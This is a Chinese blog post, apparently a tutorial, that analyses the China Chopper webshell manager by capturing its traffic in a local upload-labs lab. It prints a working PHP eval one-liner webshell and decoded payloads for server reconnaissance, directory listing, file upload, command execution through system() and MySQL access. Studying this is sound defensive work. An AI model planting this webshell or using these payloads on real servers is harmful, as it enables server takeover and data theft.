zoukankan      html  css  js  c++  java
  • webshell工具之菜刀原理分析

    如何抓取菜刀流量

    我们用bp来对菜刀的数据包进行抓取(也可以用wireshark,wireshark可以直接抓取流量包),bp是无法直接抓取菜刀的流量的,而且菜刀本身没有自带的代理设置,我们可以借用proxifier来进行代理设置

    首先对proxifier进行配置

     配置代理服务器

     

     打开bp进行设置

     设置成功

    使用菜刀对webshell进行连接,bp便可以抓取到菜刀的流量

    一句话木马原理

    首先我们先研究下这个一句话木马

    <?php @eval($_POST['ss']);?>

    这是个最基础的PHP一句话木马,我们来看下这个一句话,$_post用于收集传递过来的数据,eval将传递过来的数据当做可以执行的PHP代码来执行,这样就可以将任意的PHP语句传入到网站所在的服务器进行执行。

    菜刀流量分析

    菜刀连接webshell的过程

    使用菜刀对webshell进行连接,bp进行抓包

    POST /upload-labs-env/WWW/22.php HTTP/1.1

    User-Agent: Java/1.8.0_202

    Host:

    Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

    Connection: close

    Content-type: application/x-www-form-urlencoded

    Content-Length: 675

     ss=@eval(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

    我们先对数据包进行分析,通过post传入的ss参数,参数进行了base64加密ss=@eval(base64_decode($_POST[action]))这句话的意思就是将经过base64加密的action传入的攻击payload通过post传入,并base64解码,并通过eval执行,将执行后的结果传给ss,我们来将这段base64解码来看一下,传入的具体payload

     将代码格式化

     <?php

        @ini_set("display_errors", "0");

        @set_time_limit(0);

        @set_magic_quotes_runtime(0);

        echo("->|");;

        $D = dirname($_SERVER["SCRIPT_FILENAME"]);

        if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);

        $R = "{$D} ";

        if (substr($D, 0, 1) != "/") {

            foreach (range("A", "Z") as $L) if (is_dir("{$L}:")) $R .= "{$L}:";

        }

        $R .= " ";

        $u = (function_exists('posix_getegid')) ?     @posix_getpwuid(@posix_geteuid()) : '';

        $usr = ($u) ? $u['name'] : @get_current_user();

        $R .= php_uname();

        $R .= "({$usr})";

        print $R;;

        echo("|<-");

        die();

    ?>

    格式化后我们来看这个代码

    1. 先用@ini_set("display_errors","0");临时关闭PHP的错误显示功能

    2. @set_time_limit(0);防止像dir、上传文件大马时超时

    3. @set_magic_quotes_runtime(0);关闭魔术引号,这东西在4.0以后就不怎么用了

    4.可知先将访问的路径复制给了$D,打开指定路径后将返回值赋值给了$F,并将$F的内容显示出来,如果不存在就输出PATH_TRANSLATED

    文件管理功能的实现

    让我们再来看看菜刀的其他功能

    首先是文件管理

    看到菜刀还是发了一句话,但这句包含了很多的内容,

    我们分别解码

    [truncated] op=@eval(base64_decode($_POST[action]));&action=

    QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7

    Base64解码为PHP代码

    @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R=" ".$T." ".@filesize($P)." ".$E."

    ";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();

     

    Form item: "z1" = "QzpcVXNlcnNcbHpcRGVza3RvcFxkdndhbW1tXFdXV1x1cGxvYWQtbGFicy1lbnZcV1dXXGRvY1w="

    解码为路径

    C:dvwammmWWWupload-labs-envWWWdoc

    路径为我刚才从菜刀里要访问的路径,我们来分析下代码

    前面的部分已经分析过了,我们具体来看如何执行的获取目录的这个命令

    首先我们来分析一下代码里的这些函数

    opendir() 函数打开一个目录句柄,可由 closedir(),readdir() 和 rewinddir() 使用。若成功,则该函数返回一个目录流,否则返回 false 以及一个 error。可以通过在函数名前加上 "@" 来隐藏 error 的输出。

     readdir() 函数返回由 opendir() 打开的目录句柄中的条目。若成功,则该函数返回一个文件名,否则返回 false。

     fileperms() 函数返回文件或目录的权限。若成功,则返回文件的访问权限。若失败,则返回 false。

    base_convert() 函数在任意进制之间转换数字。

    base_convert(number,frombase,tobase)

    filesize() 函数返回指定文件的大小。若成功,则返回文件大小的字节数。若失败,则返回 false 并生成一条 E_WARNING 级的错误。

    filemtime() 函数返回文件内容的上次修改时间。如果成功,该函数将以 Unix 时间戳形式返回文件内容的上次修改时间。如果失败,则返回 FALSE。

    closedir() 函数关闭目录句柄。

    了解了这些函数的大概用处之后,我们来分析下整个代码的流程

    获取了路径参数之后,代码将指定路径的句柄打开,对目录进行循环扫描,获取目录中的文件以及文件的权限,大小,时间,日期这四个参数,使用 制表符拼在一起捆绑发送回客户端,客户端对参数进行处理,并将获取的参数形成显示的界面

    上传功能

    这个功能一般用来上传高权限的大型木马,用来建立更稳固功能更多的连接,我们这里通过菜刀往当前目录上传一个文本文件。

    QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik/IjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw==

    解码后为

    @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);

    echo("->|");;

    $f=base64_decode($_POST["z1"]);

    $c=$_POST["z2"];

    $c=str_replace(" ","",$c);

    $c=str_replace(" ","",$c);

    $buf="";

    for($i=0;$i<strlen($c);$i+=2)

         $buf.=urldecode("%".substr($c,$i,2));

    echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;

    echo("|<-");

    die();

    我们来看看这个具体代码 

    这个代码比较简单,关键函数是fwrite

    fwrite() 函数将内容写入一个打开的文件中。

    函数会在到达指定长度或读到文件末尾(EOF)时(以先到者为准),停止运行。

    如果函数成功执行,则返回写入的字节数。如果失败,则返回 FALSE

    代码的作用就是将文件创建并将内容写入

    然后菜刀会再次发送时数据包对目录进行请求,刷新目录列表,与上面请求目录的代码一样,就不再进行分析了

    QzpcVXNlcnNcbHpcRGVza3RvcFxkdndhbW1tXFdXV1x1cGxvYWQtbGFicy1lbnZcV1dXXGltZ1wx

    LnR4dA==

    解码后为C:UserslzDesktopdvwammmWWWupload-labs-envWWWimg1.txt

    上传的文件的路径和上传的文件的名称与文件格式

     

    命令执行 

    来看看菜刀的远程终端模拟功能

    我们先来执行个dir

    QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8PC0iKTtkaWUoKTs=

     

    解码后为

    @ini_set("display_errors","0");

    @set_time_limit(0);

    @set_magic_quotes_runtime(0);

    echo("->|");;$p=base64_decode($_POST["z1"]);

    $s=base64_decode($_POST["z2"]);

    $d=dirname($_SERVER["SCRIPT_FILENAME"]);

    $c=substr($d,0,1)=="/"?"-c "{$s}"":"/c "{$s}"";$r="{$p} {$c}";

    @system($r." 2>&1",$ret);

    print ($ret!=0)?"ret={$ret}":"";;

    echo("|<-");

    die();

    先来看看这个代码里的函数

    dirname() 函数返回路径中的目录部分。

     $_SERVER["SCRIPT_FILENAME"]:当前执行脚本的绝对路径。

    如果在命令行界面(Command Line Interface, CLI)使用相对路径执行脚本,例如 file.php 或 ../file.php,那么 $_SERVER['SCRIPT_FILENAME'] 将包含用户指定的相对路径。

     

    substr() 函数返回字符串的一部分。substr(string,start,length)

     

    string system(string command, int [return_var]);

    本函数就像是 C 语中的函数 system(),用来执行指令,并输出结果。若是 return_var 参数存在,则执行 command 之后的状态会填入 return_var 中。同样值得注意的是若需要处理用户输入的资料,而又要防止用户耍花招破解系统,则可以使用 EscapeShellCmd()。若 PHP 以模块式的执行,本函数会在每一行输出后自动更新 Web 服务器的输出缓冲暂存区。若需要完整的返回字符串,且不想经过不必要的其它中间的输出界面,可以使用 PassThru()。

    如果return_val存在的 话,那么执行的结果信息将被写入return_val中,@system($r." 2>&1");;我们都知道在C语言中,2代表错误输出流的意思,PHP是用C写的,当然也继承了这个特性,那这个意思就是执行系统命令, 并屏蔽错误显示。

     

    $c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";

    这是一段正则表达式,用捕获分组获得字符串中的参数,用来对要执行的命令进行匹配

    注意上面system函数的声明:若 PHP 以模块式的执行,本函数会在每一行输出后自动更新 Web 服务器的输出缓冲暂存区。

    这就是说,我们指定的这个命令会分别执行,然后输出结果作为参数传递过来,并在菜刀上显示,有时候我们会碰到默认的cmd的路径c:windowssystem32cmd.exe拒绝访问,我们可以通过菜刀的上传功能上传我们自己的cmd.exe(cmd.exe要与目标系统的位数相匹配,并在终端执行命令切换脚本调用的cmd的路径到我们新上传的cmd)

    命令如下

    setp:上传的cmd的路径地址

     数据库模拟功能

    数据库模拟功能

    QGluaV9zZXQgKCAiZGlzcGxheV9lcnJvcnMiLCAiMCIgKTtAc2V0X3RpbWVfbGltaXQgKCAwICk7

    QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSAoIDAgKTtlY2hvICgiLT58Iik7OyRtID0gZ2V0X21h

    Z2ljX3F1b3Rlc19ncGMgKCk7JGNvbmYgPSAkbSA/IHN0cmlwc2xhc2hlcyAoICRfUE9TVCBbInox

    Il0gKSA6ICRfUE9TVCBbInoxIl07JGFyID0gZXhwbG9kZSgiY2hvcmFoZWloZWloZWkiLCAkY29u

    Zik7JGRibiA9ICRtID8gc3RyaXBzbGFzaGVzICggJF9QT1NUIFsiejIiXSApIDogJF9QT1NUIFsi

    ejIiXTskc3FsID0gYmFzZTY0X2RlY29kZSAoICRfUE9TVCBbInozIl0gKTskVCA9IEBteXNxbF9j

    b25uZWN0KCRhclswXSwkYXJbMV0sJGFyWzJdKTtAbXlzcWxfcXVlcnkgKCAiU0VUIE5BTUVTIHV0

    ZjgiICk7aWYoJGRibj09IiIpeyRzcWwgPSAiU0hPVyBEQVRBQkFTRVMiOyRxID0gQG15c3FsX3F1

    ZXJ5ICggJHNxbCApOyRpID0gMDt3aGlsZSgkcnM9QG15c3FsX2ZldGNoX3JvdygkcSkpe2VjaG8o

    dHJpbSgkcnNbMF0pLmNocig5KSkuIlx0fFx0XHJcbiI7fUBteXNxbF9jbG9zZSgkVCk7O2VjaG8o

    Inw8LSIpO2RpZSgpO31lbHNlewlAbXlzcWxfc2VsZWN0X2RiICggJGRibiApOyRxID0gQG15c3Fs

    X3F1ZXJ5ICggJHNxbCApOyRpID0gMDt3aGlsZSAoICRjb2wgPSBAbXlzcWxfZmllbGRfbmFtZSAo

    ICRxLCAkaSApICkge2VjaG8gKCRjb2wgLiAiXHR8XHQiKTskaSArKzt9ZWNobyAoIlxyXG4iKTt3

    aGlsZSAoICRycyA9IEBteXNxbF9mZXRjaF9yb3cgKCAkcSApICkge2ZvcigkYyA9IDA7ICRjIDwg

    JGk7ICRjICsrKSB7ZWNobyAodHJpbSAoICRycyBbJGNdICkpO2VjaG8gKCJcdHxcdCIpO31lY2hv

    ICgiXHJcbiIpO31AbXlzcWxfY2xvc2UgKCAkVCApOztlY2hvICgifDwtIik7ZGllICgpO30=

    解码后

    @ini_set ( "display_errors", "0" );

    @set_time_limit ( 0 );

    @set_magic_quotes_runtime ( 0 );

    echo ("->|");;

    $m = get_magic_quotes_gpc ();

    $conf = $m ? stripslashes ( $_POST ["z1"] ) : $_POST ["z1"];

    $ar = explode("choraheiheihei", $conf);

    $dbn = $m ? stripslashes ( $_POST ["z2"] ) : $_POST ["z2"];

    $sql = base64_decode ( $_POST ["z3"] );

    $T = @mysql_connect($ar[0],$ar[1],$ar[2]);

    @mysql_query ( "SET NAMES utf8" );

    if($dbn=="")

    {$sql = "SHOW DATABASES";

    $q = @mysql_query ( $sql );

    $i = 0;while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9))." | ";}

    @mysql_close($T);;

    echo("|<-");

    die();}

    else{        @mysql_select_db ( $dbn );

    $q = @mysql_query ( $sql );

    $i = 0;

    while ( $col = @mysql_field_name ( $q, $i ) ) {echo ($col . " | ");$i ++;}

    echo (" ");

    while ( $rs = @mysql_fetch_row ( $q ) ) {for($c = 0; $c < $i; $c ++) {echo (trim ( $rs [$c] ));

    echo (" | ");}echo (" ");}

    @mysql_close ( $T );;

    echo ("|<-");

    die ();}

    代码很长,

    先来看一下里面的主要函数的意思

    $m = get_magic_quotes_gpc ();

    如果 magic_quotes_gpc 为关闭时返回 0,否则返回 1。在 PHP 5.4.O 起将始终返回 FALSE

    Stripslashes  删除反斜杠

    Explode()    将字符串打散为数组

    mysql_fetch_row() 函数从结果集中取得一行作为数字数组。

    函数不是很多

    代码的主要功能是与目标服务器的数据库简历连接(具体),获取数据库的库,表,列字段等内容,并将我们对数据库的操作传递过去,并将执行结果传递回来。在菜刀里直接点击对应的数据库内容,菜刀会直接生成对应的语句,对数据库进行操作

    菜刀的数据库配置代码如下

     

    <T>MYSQL</T>        //这里填写数据库类型

    <H>localhost</H>    //这里填写数据库主机地址

    <U>root</U>         //这里填写数据库用户名

    <P>root</P>             //这里填写数据库密码

    <L>utf8</L>         //这里填写编码方式

    现在菜刀已经是很古老的webshell管理工具,现在他只存在于一些教学视频里了,因为流量特征过于明显且加密方式简单,所以现在的实用性很差,但是它曾经是个很好用的工具,流行很多年,存在很多值得我们学习的地方,通过菜刀,我们可以初步了解webshell管理工具的原理,为我们对这类工具的学习打下基础。

  • 相关阅读:
    select,epoll,poll比较(网络资源总结)
    c++(重载、覆盖、隐藏)
    TCP状态转换图
    TCP心跳 | TCP keepAlive
    回车、换行、空格的ASCII码值—(附ASCII码表)
    C++ dlopen mini HOWTO 一篇非常好的介绍
    shell十三问
    linux IPC消息队列 的内核限制
    C++ string 类常用函数
    const用法的解惑
  • 原文地址:https://www.cnblogs.com/lzlzzzzzz/p/14076541.html
Copyright © 2011-2022 走看看